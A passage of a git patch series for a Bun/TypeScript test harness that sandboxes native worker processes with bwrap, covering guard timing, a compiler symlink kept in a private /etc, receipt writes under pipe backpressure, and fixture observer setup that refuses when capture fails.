Object.freeze({rawMs,guardMs,productMs:rawMs-guardMs,intervals:Object.freeze(union.map(row=>Object.freeze(row)))}); + return Object.freeze({pid:process.pid,windowStartMs:startMs,windowEndMs:endMs,rawMs,guardMs,productMs:rawMs-guardMs,intervals:Object.freeze(union.map(row=>Object.freeze(row)))}); } const ROOT = resolve(import.meta.dir, ".."); // Fixture TMPDIR lifetimes do not own the guard's retained tripwire evidence. @@ -2188,6 +2195,9 @@ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:Sp export type NativeWorkerClassification="native"|"unknown"|"non-native"; /** Native evidence wins; unknown shell syntax selects the tripwire, never authority. */ export function nativeWorkerClassification(argv:readonly string[],context:SpawnContext={}):NativeWorkerClassification { + return guardTiming("classification",()=>nativeWorkerClassificationInspected(argv,context)); +} +function nativeWorkerClassificationInspected(argv:readonly string[],context:SpawnContext):NativeWorkerClassification { if(isNativeClaude(argv[0]??"",argv.slice(1),context))return "native"; for(let i=0;i(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return "native"; diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index 033ee40b84..2f0ae9d0c4 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -222,3 +222,11 @@ test("a source-identical guard module keeps timing issuance private across query expect(variant.isNativeClaude("/usr/bin/true")).toBe(false); expect(variant.nativeFixtureGuardTiming(start,performance.now()).guardMs).toBeGreaterThan(0); }); + +test("nested classifiers issue one enclosing guard interval",async()=>{ + const {spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); + const code=`import {nativeWorkerBoundary} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))};nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})});`; + const child=spawnGuardFixture([process.execPath,"--no-env-file","-e",code],{stdout:"pipe",stderr:"pipe"});const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit,out).toBe(0);const rows=out.split("\n").flatMap(line=>{try{return [JSON.parse(line)];}catch{return [];}}).filter(row=>row.kind==="native-guard-interval"); + expect(rows,"NESTED_GUARD_INTERVALS_ARE_NOT_WRITTEN_REPEATEDLY").toHaveLength(1);expect(rows[0].operation).toBe("plan-inspection");expect(rows[0].endMs).toBeGreaterThanOrEqual(rows[0].startMs); +}); From f5c94b26defcc0950642d03ab74435ad1a3316bb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 10:24:51 +0000 Subject: [PATCH 131/187] fix(test): retain the compiler link in private fixture etc --- scripts/test-native-guard.ts | 7 ++++++- tests/helpers/provider-history.ts | 6 +++++- tests/native-namespace-policy.test.ts | 7 +++++++ tests/native-policy-artifact.test.ts | 3 +++ 4 files changed, 21 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index d9b0202260..af16123dc6 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -387,7 +387,12 @@ export function redactNativeDiagnosticMessage(text:string):string { /** Prepare before a fixture hides compiler inputs such as /etc/alternatives. */ export function nativeNamespacePolicy(): { mounts: string[]; args: string[] } { const policy = compileSocketPolicy(); - return { mounts: ["--dir", "/tmp/brain-native-policy", "--ro-bind", policy, NAMESPACE_SOCKET_POLICY], + // The fixture hides /etc, including Ubuntu's cc alternative. Preserve only + // that compiler link so a child can build the fixed guard helpers there. + const compiler=metadataWhich("cc",{PATH:GUARD_TOOL_PATH}); + if(!compiler)refuse("native socket policy compiler unavailable"); + return { mounts: ["--dir", "/tmp/brain-native-policy", "--ro-bind", policy, NAMESPACE_SOCKET_POLICY, + "--dir","/etc/alternatives","--symlink",realpathSync(compiler),"/etc/alternatives/cc"], args: ["--native-policy-view", `--native-socket-policy-sha256=${fileHash(policy)}`] }; } diff --git a/tests/helpers/provider-history.ts b/tests/helpers/provider-history.ts index e256c1d510..abb1f548f3 100644 --- a/tests/helpers/provider-history.ts +++ b/tests/helpers/provider-history.ts @@ -1,6 +1,6 @@ import { expect } from "bun:test"; import { DEADLINE_FACTOR_ENV, watchdogMs } from "../../scripts/test-deadlines.js"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve } from "node:path"; @@ -139,6 +139,10 @@ export async function captureOffline(probe: string, options: { isolateManagedSet const systemFiles = ["passwd", "group", "nsswitch.conf", "os-release", "localtime", "hosts", "resolv.conf"]; if (options.isolateManagedSettings) { mkdirSync(join(managed, "claude-code"), { recursive: true }); + // Keep only the compiler alternative needed by the child's fixed guard + // helpers; host managed settings remain absent from this private /etc. + const compiler=Bun.which("cc");if(!compiler)throw Error("Fixture compiler is unavailable"); + mkdirSync(join(managed,"alternatives"));symlinkSync(realpathSync(compiler),join(managed,"alternatives/cc")); for (const name of systemFiles) writeFileSync(join(managed, name), ""); if (options.managedSettings) writeFileSync(join(managed, "claude-code/managed-settings.json"), JSON.stringify(options.managedSettings)); } diff --git a/tests/native-namespace-policy.test.ts b/tests/native-namespace-policy.test.ts index 26dae7649b..2e2059b2a2 100644 --- a/tests/native-namespace-policy.test.ts +++ b/tests/native-namespace-policy.test.ts @@ -8,6 +8,13 @@ import { join } from "node:path"; import { nativeNamespacePolicy } from "../scripts/test-native-guard"; import { fixtureSources, namespaceLaunches } from "./helpers/native-launcher-inventory"; const root=join(import.meta.dir,".."); +test("fixed guard helper compiles with the fixture's private etc",()=>{ + const policy=nativeNamespacePolicy(); + const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp","--tmpfs","/etc",...policy.mounts, + "cc","-static","-Os","-x","c","-","-o","/tmp/odysseus-fixed-helper"], + {env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from("int main(void){return 0;}\n"),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(30000)}); + expect(child.exitCode,"FIXED_GUARD_HELPER_COMPILER_SURVIVES_PRIVATE_ETC: "+child.stderr.toString()).toBe(0); +}); for(const [file,source] of fixtureSources(root))for(const [index,plan] of namespaceLaunches(source).entries())test(`real bwrap policy mount survives read-only roots: ${file}:${index}`,()=>{ const scratch=mkdtempSync(join(tmpdir(),"odysseus-policy-view-")); try { diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index aa5bafe5a3..beeb04707b 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -70,6 +70,9 @@ test("namespace policy is compiled outside the compiler-free view and mounted re const policy=nativeNamespacePolicy(); expect(policy.mounts.slice(0,3)).toEqual(["--dir","/tmp/brain-native-policy","--ro-bind"]); expect(policy.mounts[4]).toBe("/tmp/brain-native-policy/native-connect"); + expect(policy.mounts.slice(5,8)).toEqual(["--dir","/etc/alternatives","--symlink"]); + expect(policy.mounts[8]).toBe((await import("node:fs")).realpathSync(Bun.which("cc")!)); + expect(policy.mounts[9]).toBe("/etc/alternatives/cc"); expect(statSync(policy.mounts[3]!).mode & 0o222).toBe(0); expect(policy.args).toEqual(["--native-policy-view","--native-socket-policy-sha256="+createHash("sha256").update(readFileSync(policy.mounts[3]!)).digest("hex")]); expect(nativeNamespacePolicy()).toEqual(policy); From 395cb28273e8623f0f9e74010ddf8e25219ecb80 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 10:30:38 +0000 Subject: [PATCH 132/187] fix(test): use real clients for sequential native provider cases --- scripts/native-proof/identity-manager.native.ts | 2 +- scripts/native-proof/provider-index.native.ts | 14 ++++++++------ 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index 72ca5b2c5d..67cc228901 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -65,7 +65,7 @@ print('Odysseus strict managed stage')`] }); expect(statSync(join(brain, ".brain/scratch/private/result.md")).mode & 0o777).toBe(0o600); } finally { await prepared.cleanup(); } - await proveNativeProviderIndex(brain, manager); + await proveNativeProviderIndex(brain, manager, socketPath); const data = "/identity-fixture/native-journal"; mkdirSync(data, { mode: 0o700 }); const dbPath = join(data, "ui.db"), db = createUiDb(dbPath), ledger = createJournalAccounting(db, dbPath); diff --git a/scripts/native-proof/provider-index.native.ts b/scripts/native-proof/provider-index.native.ts index 8bace0fa77..cd45615359 100644 --- a/scripts/native-proof/provider-index.native.ts +++ b/scripts/native-proof/provider-index.native.ts @@ -4,10 +4,10 @@ import { expect } from "bun:test"; import { existsSync, linkSync, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { Readable } from "node:stream"; -import type { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; +import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { launchAgentWorker, workerCommand } from "../../packages/ui-sdk/src/server/worker-launcher.js"; import { prepareNativeWorkerOutput } from "../../packages/ui-sdk/src/server/worker-native-output.js"; -import { createProviderIndexTurns } from "./provider-index-turns.js"; +import { createGovernedTurns } from "../../packages/ui-server/src/brain/governed-turn.js"; import { createProviderExposures } from "../../packages/ui-server/src/brain/provider-exposure.js"; import { createHostExecution } from "../../packages/ui-server/src/brain/host-execution.js"; import { createUiDb } from "../../packages/ui-server/src/db/client.js"; @@ -21,7 +21,7 @@ const MIB = 1024 ** 2; const document = (title: string, body: string) => `---\ntype: note\ntitle: ${title}\ncreated: 2026-07-12\nupdated: 2026-07-12\n---\n${body}\n`; const text = (stream: Readable) => new Response(Readable.toWeb(stream) as unknown as ReadableStream).text(); -export async function proveNativeProviderIndex(brain: string, manager: ReturnType): Promise { +export async function proveNativeProviderIndex(brain: string, manager: ReturnType, socketPath: string): Promise { expect(process.getuid?.(), "NATIVE_PROVIDER_INDEX_SERVER_UID").toBe(21001); // This case owns these inputs and removes them before the pre-existing // identity/journal and ordinary application phases continue. @@ -47,6 +47,8 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp try { expect(initial.query("SELECT path FROM documents WHERE content LIKE ?").all(`%${sentinel}%`), "NATIVE_REAL_INDEX_POSITIVE_SENTINEL_CONTROL").toEqual([{ path: "me/oath.md" }]); } finally { initial.close(); } + // Each sequential case creates its real transport client. A copied facade + // has no fixture provenance and must never stand in for that client. // The manager's private paths are every worker's masks, as the app applies them (#2911). const privatePaths = (await manager.ready()).privatePaths; for (const profile of ["strict", "governed"] as const) { @@ -56,7 +58,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp const reports: string[] = []; const execution = createHostExecution({ brainPath: brain, dbPath, nativeManager: manager, nativeMaskPaths: privatePaths, profile, requireGate: true }); execution.attach(db); - const turns = createProviderIndexTurns({ nativeManager: manager, brainPath: brain, execution, profile, maskPaths: privatePaths, + const turns = createGovernedTurns({ nativeManager: createNativeBrainManagerClient({ socketPath }), brainPath: brain, execution, profile, maskPaths: privatePaths, index: async () => {}, report: message => reports.push(message), privateIndexCommand: [process.execPath, "/repo/packages/core/src/cli/brain.ts"] }); let hold: Awaited> | undefined; @@ -167,7 +169,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp const dbPath = join(root, "ui.db"), db = createUiDb(dbPath); const execution = createHostExecution({ brainPath: brain, dbPath, nativeManager: manager, profile, requireGate: true }); execution.attach(db); - const turns = createProviderIndexTurns({ nativeManager: manager, brainPath: brain, execution, profile, maskPaths: [], + const turns = createGovernedTurns({ nativeManager: createNativeBrainManagerClient({ socketPath }), brainPath: brain, execution, profile, maskPaths: [], index: async () => {}, report: () => {}, privateIndexCommand: [process.execPath, "/repo/packages/core/src/cli/brain.ts"], exposures: createProviderExposures(db) }); let hold: Awaited> | undefined; @@ -214,7 +216,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp const dbPath = join(root, "ui.db"), db = createUiDb(dbPath); const execution = createHostExecution({ brainPath: brain, dbPath, nativeManager: manager, profile, requireGate: true }); execution.attach(db); - const turns = createProviderIndexTurns({ nativeManager: manager, brainPath: brain, execution, profile, maskPaths: [], + const turns = createGovernedTurns({ nativeManager: createNativeBrainManagerClient({ socketPath }), brainPath: brain, execution, profile, maskPaths: [], index: async () => {}, report: () => {}, privateIndexCommand: [process.execPath, "/repo/packages/core/src/cli/brain.ts"] }); let refusal: unknown; try { From 2b93774f8e0e8aa670bb21cb5c8ca25281660518 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 10:32:53 +0000 Subject: [PATCH 133/187] fix(test): preserve receipts through pipe backpressure --- scripts/native-test-receipts.ts | 17 +++++++++++++---- tests/native-receipt-channel.test.ts | 16 ++++++++++++++++ 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index 9b23b7c192..20ffc36405 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -4,6 +4,15 @@ import {createRequire} from "node:module"; import { tmpdir } from "node:os"; import { basename, join, resolve } from "node:path"; const KEY="BRAIN_NATIVE_RECEIPT",OWNER=Symbol.for("brain-kit.test.native-receipt-owner"); +/** A pipe can accept a short write or briefly apply backpressure under load. */ +function writeReceipt(fd:number,value:string|Buffer):void { + const bytes=typeof value==="string"?Buffer.from(value):value,deadline=performance.now()+30_000;let offset=0; + while(offsetdeadline)throw Error("Native receipt output timed out"); + try{const written=writeSync(fd,bytes,offset,bytes.length-offset);if(written<=0)throw Error("Native receipt output closed");offset+=written;} + catch(error){const code=(error as NodeJS.ErrnoException).code;if(code==="EINTR")continue;if(code!=="EAGAIN"&&code!=="EWOULDBLOCK")throw error;Bun.sleepSync(1);} + } +} interface Sink {path:string;fd:number;dev:string;ino:string;ownerPid:number;ownerStart:string;ownerFd:number;ownerPidNamespace:string;report:boolean} interface State {sink?:Sink;directory?:string;offset:number;pending:Buffer;degraded?:boolean} /** Filesystem IDs come from procfs, independently of product-facing identity mocks. */ @@ -69,7 +78,7 @@ function owner():Sink|undefined { // pass its token to a builder that can no longer verify the owner chain. state.degraded=true;state.sink=undefined; if(same(sink))closeSync(sink.fd); - writeSync(2,'{"kind":"native-receipt-degraded","reason":"owner-expired","delivery":"write-nothing"}\n');return; + writeReceipt(2,'{"kind":"native-receipt-degraded","reason":"owner-expired","delivery":"write-nothing"}\n');return; } } return sink; @@ -84,7 +93,7 @@ export function flushNativeReceipts():void { const buffer=Buffer.alloc(65536);let size:number; while((size=readSync(sink.fd,buffer,0,buffer.length,state.offset))>0){ state.offset+=size;state.pending=Buffer.concat([state.pending,buffer.subarray(0,size)]); - const end=state.pending.lastIndexOf(10);if(end>=0){writeSync(2,state.pending.subarray(0,end+1));state.pending=Buffer.from(state.pending.subarray(end+1));} + const end=state.pending.lastIndexOf(10);if(end>=0){writeReceipt(2,state.pending.subarray(0,end+1));state.pending=Buffer.from(state.pending.subarray(end+1));} if(state.pending.length>1048576)throw Error("Native receipt exceeded its bound"); } } @@ -99,10 +108,10 @@ export function nativeReceipt(value:Record):void { } const sink=owner();if(!sink){ // Lost delivery cannot turn a boundary refusal into a successful local run. - if(value.success===false){writeSync(2,JSON.stringify(value)+"\n");if(["native-offline-boundary","native-offline-invocation-failed","native-offline-route-denial"].includes(String(value.kind))){process.exitCode=1;process.prependOnceListener("exit",()=>{process.exitCode=1;});}} + if(value.success===false){writeReceipt(2,JSON.stringify(value)+"\n");if(["native-offline-boundary","native-offline-invocation-failed","native-offline-route-denial"].includes(String(value.kind))){process.exitCode=1;process.prependOnceListener("exit",()=>{process.exitCode=1;});}} return; }if(!same(sink))throw Error("Native receipt descriptor identity changed"); - writeSync(sink.fd,JSON.stringify(value)+"\n");flushNativeReceipts(); + writeReceipt(sink.fd,JSON.stringify(value)+"\n");flushNativeReceipts(); } /** Parse bwrap's option boundary; payloads need not use an explicit --. */ function nativeReceiptBwrapPlan(argv:readonly string[],file:string):{insertion:number;clearenv:number[]} { diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 3aeaaf47d9..1026871d34 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -4,7 +4,23 @@ import { mkdtempSync, mkdirSync, copyFileSync, rmSync, writeFileSync } from "nod import { join } from "node:path"; import { tmpdir } from "node:os"; import { captureNativeReceipts,nativeReceiptBwrapInsertion,inheritNativeReceipts } from "../scripts/native-test-receipts"; +import {watchdogMs} from "../scripts/test-deadlines"; const receiptModule=join(import.meta.dir,"../scripts/native-test-receipts.ts"); +test("receipt owner retains every record across real stderr backpressure",async()=>{ + const {spawn}=await import("node:child_process"); + const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};for(let index=0;index<1024;index++)nativeReceipt({kind:"fixture-backpressure",index,payload:"x".repeat(4096)});`; + const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT; + const owner=`const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT;const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(script)}],{env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; + const child=spawn(Bun.which("node")!,["-e",owner],{env,stdio:["ignore","pipe","pipe"]});let stderr=""; + child.stderr.on("data",part=>{stderr+=part;});child.stderr.pause(); + const resume=setTimeout(()=>child.stderr.resume(),150); + try{ + const code=await new Promise(resolve=>child.once("close",resolve)); + expect(code,"RECEIPT_BACKPRESSURE_MUST_NOT_FAIL_THE_LAUNCH: "+stderr.slice(-1024)).toBe(0); + const rows=stderr.split("\n").filter(Boolean).map(line=>JSON.parse(line)); + expect(rows.map(row=>row.index),"RECEIPT_BACKPRESSURE_MUST_NOT_DROP_OR_DUPLICATE_RECORDS").toEqual(Array.from({length:1024},(_,index)=>index)); + }finally{clearTimeout(resume);child.stderr.resume();} +},watchdogMs(30000)); for(const view of ["plain","clearenv","userns"] as const)test(`guard-owned receipts bypass ${view} child stderr`,async()=>{ const capture=captureNativeReceipts(); try{ From 8c7c986436b76050fd6dfd59dd8c3b7cbfd7dcea Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 10:33:55 +0000 Subject: [PATCH 134/187] test: reproduce nonblocking receipt backpressure exactly --- tests/native-receipt-channel.test.ts | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 1026871d34..1edc86e57f 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -8,12 +8,16 @@ import {watchdogMs} from "../scripts/test-deadlines"; const receiptModule=join(import.meta.dir,"../scripts/native-test-receipts.ts"); test("receipt owner retains every record across real stderr backpressure",async()=>{ const {spawn}=await import("node:child_process"); - const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};for(let index=0;index<1024;index++)nativeReceipt({kind:"fixture-backpressure",index,payload:"x".repeat(4096)});`; + const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};console.log("READY");await Bun.stdin.text();for(let index=0;index<1024;index++)nativeReceipt({kind:"fixture-backpressure",index,payload:"x".repeat(4096)});`; const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT; - const owner=`const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT;const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(script)}],{env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; - const child=spawn(Bun.which("node")!,["-e",owner],{env,stdio:["ignore","pipe","pipe"]});let stderr=""; + // Match the nonblocking pipe used by the unit worker, rather than Node's + // default blocking inherited stderr descriptor. + const launch=`import os\nos.set_blocking(2,False)\nos.execv(${JSON.stringify(process.execPath)},[${JSON.stringify(process.execPath)},"-e",${JSON.stringify(script)}])`; + const owner=`const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT;const c=require("node:child_process").spawn("/usr/bin/python3",["-I","-S","-c",${JSON.stringify(launch)}],{env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; + const child=spawn(Bun.which("node")!,["-e",owner],{env,stdio:["pipe","pipe","pipe"]});let stderr=""; child.stderr.on("data",part=>{stderr+=part;});child.stderr.pause(); - const resume=setTimeout(()=>child.stderr.resume(),150); + let resume:ReturnType|undefined; + child.stdout.once("data",()=>{resume=setTimeout(()=>child.stderr.resume(),150);child.stdin.end("go");}); try{ const code=await new Promise(resolve=>child.once("close",resolve)); expect(code,"RECEIPT_BACKPRESSURE_MUST_NOT_FAIL_THE_LAUNCH: "+stderr.slice(-1024)).toBe(0); From 52677729076c6c6423752520341af5fe235aecb1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 10:50:36 +0000 Subject: [PATCH 135/187] test: give account partition app lifetimes a hang watchdog --- packages/ui-server/tests/account-partition.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/account-partition.test.ts b/packages/ui-server/tests/account-partition.test.ts index 4611dcc075..2f2bc34a32 100644 --- a/packages/ui-server/tests/account-partition.test.ts +++ b/packages/ui-server/tests/account-partition.test.ts @@ -1,4 +1,5 @@ import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { watchdogMs } from "../../../scripts/test-deadlines"; import { mkdirSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -100,7 +101,7 @@ describe("account partition key (#1014)", () => { const otherRoot = await host({ db: "ithaca.db", brain: "pylos" }); expect(await keyOf(otherRoot, { cookie: await signIn(otherRoot) })).not.toBe(key); await otherRoot.close(); - }); + }, watchdogMs(120_000)); // Several real app lifetimes; no product deadline. test("an agent principal never gets the owner's key", async () => { const app = await host({ db: "agents.db", brain: "ithaca" }); @@ -131,7 +132,7 @@ describe("account partition key (#1014)", () => { expect(await keyOf(proxy, { "x-forwarded-user": "penelope" })).toBe(penelope); expect(await keyOf(proxy, { "x-forwarded-user": "telemachus" })).not.toBe(penelope); await proxy.close(); - }); + }, watchdogMs(120_000)); test("every owner login method is the one owner; only owner and ambient principals have an account", () => { const principal = (kind: Principal["kind"], authMethod: Principal["authMethod"]): Principal => ({ From 863f080f26bdb219311222373ff774f5ad952cf8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 11:05:05 +0000 Subject: [PATCH 136/187] fix(test): capture factories during explicit fixture observation --- scripts/test-native-guard.ts | 24 +++++++++++++------- tests/native-fixture-factory-capture.test.ts | 13 +++++++++++ 2 files changed, 29 insertions(+), 8 deletions(-) create mode 100644 tests/native-fixture-factory-capture.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index af16123dc6..64981a8f0b 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -69,15 +69,17 @@ function fixtureManagerPin(client:object,depth=0):FixtureManagerPin|undefined { return pin; } function fixtureManagerConnection(client:object){return fixtureManagerPin(client)?.options;} -const realFixtureLeaseManager=existsSync(join(ROOT,"packages/ui-server/src/brain/native-brain-leases.ts"))?(()=>{ +function loadFixtureLeaseManager(){ const leases=createRequire(import.meta.url)("../packages/ui-server/src/brain/native-brain-leases.ts") as typeof import("../packages/ui-server/src/brain/native-brain-leases"); return {leases,create:leases.createNativeBrainLeaseManager}; -})():undefined; +} +let realFixtureLeaseManager:ReturnType|undefined; // Pin real product preparers before fixture mocks can replace module exports. -const realFixturePreparers=existsSync(join(ROOT,"packages/ui-sdk/src/server/worker-native-output.ts"))?(()=>{ +function loadFixturePreparers(){ const require=createRequire(import.meta.url),launcher=require("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"),output=require("../packages/ui-sdk/src/server/worker-native-output.ts") as typeof import("../packages/ui-sdk/src/server/worker-native-output"),maintenance=require("../packages/ui-sdk/src/server/maintenance-worker.ts") as typeof import("../packages/ui-sdk/src/server/maintenance-worker"); return {output,maintenance,launcher,real:{hostProbe:launcher.probeWorkerHost,hostSource:createHash("sha256").update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))).digest("hex"),index:output.prepareNativeMaintenanceIndex,finishIndex:output.finishNativeMaintenanceIndex,git:output.prepareNativeMaintenanceGit,finishGit:output.finishNativeMaintenanceGit,worker:maintenance.prepareMaintenanceWorker,gitInput:maintenance.prepareMaintenanceGitInput,probe:maintenance.probeNativeMaintenanceWorker}}; -})():undefined; +} +let realFixturePreparers:ReturnType|undefined; /** Transparent constructor observation: the client and its production methods are real. */ export function nativeFixtureManagerClient(options:Parameters[0],isLive:()=>boolean) { if(!realFixtureManagerClient)throw Error("Fixture manager client is unavailable"); @@ -1671,8 +1673,12 @@ export async function registerNativeFixtureManagedKeeper(storage:ManagedFixtureS let preparationObservers=0,stopPreparationObservers:(()=>void)|undefined; /** Transparent observation; successful real preparers are the sole source of renewal events. */ export function observeNativeFixturePreparations():()=>void { - if(preparationObservers++===0){ - if(!realFixturePreparers)refuse("real fixture preparers are unavailable"); + if(preparationObservers===0){ + // Capture every real factory before installing any observer. A failed load + // cannot leave a fixture running without its declared observation. + try{realFixtureLeaseManager??=loadFixtureLeaseManager();realFixturePreparers??=loadFixturePreparers();if(typeof realFixtureLeaseManager.create!=="function"||Object.entries(realFixturePreparers.real).some(([name,value])=>name!=="hostSource"&&typeof value!=="function"))throw Error("Incomplete real fixture factories");} + catch{return refuse("real fixture factory capture failed");} + if(!realFixtureLeaseManager||!realFixturePreparers)return refuse("real fixture factory capture failed"); const {spyOn}=createRequire(import.meta.url)("bun:test") as typeof import("bun:test"),{output,maintenance,real}=realFixturePreparers; type Event={lease:ManagedFixtureLease;family:"index"|"git";used:boolean}; const preparations=new WeakMap(),pending=new WeakMap(); @@ -1716,9 +1722,10 @@ export function observeNativeFixturePreparations():()=>void { catch(error){lease.closed=true;managedFixtureLeases.delete(storage!);stageMetadataChannels.get(storage!)?.close();stageMetadataChannels.delete(storage!);throw error;} finally{usedManagedKeepers.add(storage!);} }; + const leaseFactory=realFixtureLeaseManager; const observers=[ - ...(realFixtureLeaseManager?[spyOn(realFixtureLeaseManager.leases,"createNativeBrainLeaseManager").mockImplementation(async(...args)=>{ - const pin=fixtureManagerPin(args[0]),value=await realFixtureLeaseManager.create(...args); + ...(leaseFactory?[spyOn(leaseFactory.leases,"createNativeBrainLeaseManager").mockImplementation(async(...args)=>{ + const pin=fixtureManagerPin(args[0]),value=await leaseFactory.create(...args); // Only the actual result of the pinned real factory inherits this exact raw pin. if(pin&&fixtureManagerPin(args[0])===pin){ if(value.client===args[0])refuse("fixture lease client identity differs"); @@ -1736,6 +1743,7 @@ export function observeNativeFixturePreparations():()=>void { spyOn(maintenance,"prepareMaintenanceGitInput").mockImplementation(async(...args)=>{const context=preparationContext(args[0],"git"),value=await (context?fixtureProbeContext.run(context,()=>real.gitInput(...args)):real.gitInput(...args));await renew(args[0],"git",value);return value;}), ];stopPreparationObservers=()=>{for(const observer of observers.reverse())observer.mockRestore();}; } + preparationObservers++; let closed=false;return ()=>{if(closed)return;closed=true;if(--preparationObservers===0){stopPreparationObservers?.();stopPreparationObservers=undefined;}}; } /** Only a fixture's real acquired native output can declare this remote keeper. */ diff --git a/tests/native-fixture-factory-capture.test.ts b/tests/native-fixture-factory-capture.test.ts new file mode 100644 index 0000000000..28af926781 --- /dev/null +++ b/tests/native-fixture-factory-capture.test.ts @@ -0,0 +1,13 @@ +/** Failed observer setup cannot silently run an unobserved fixture. */ +import {expect,test} from "bun:test"; +import {join} from "node:path"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +test("factory capture failure refuses observer initialization",async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); + const script=`import {expect,spyOn} from "bun:test";import * as modules from "node:module";import {observeNativeFixturePreparations} from ${JSON.stringify(guard)}; + const original=modules.createRequire;const restore=spyOn(modules,"createRequire").mockImplementation(url=>{const require=original(url);return Object.assign(path=>{if(String(path).endsWith("native-brain-leases.ts"))throw Error("fixed capture failure");return require(path);},require);}); + try{expect(()=>observeNativeFixturePreparations(),"FAILED_CAPTURE_CANNOT_RUN_UNOBSERVED").toThrow("real fixture factory capture failed");console.log("FAILED_CAPTURE_REFUSED");}finally{restore.mockRestore();}`; + const child=spawnGuardFixture([process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(code,err).toBe(1);expect(out,"FAILED_CAPTURE_CANNOT_RUN_UNOBSERVED").toContain("FAILED_CAPTURE_REFUSED"); +}); From 83a73616691bfb0ea8031c084062fa1e1ccbca20 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 11:05:05 +0000 Subject: [PATCH 137/187] fix(test): project only validated fixture managed policy --- .../fixtures/provider-request-shape-probe.ts | 5 ++-- scripts/test-native-guard.ts | 29 +++++++++++++++++-- tests/helpers/provider-history.ts | 7 +++++ tests/native-fixture-managed-policy.test.ts | 29 +++++++++++++++++++ tests/native-namespace-policy.test.ts | 14 +++++++++ 5 files changed, 80 insertions(+), 4 deletions(-) create mode 100644 tests/native-fixture-managed-policy.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts index 024a485e0f..81a1140e0d 100644 --- 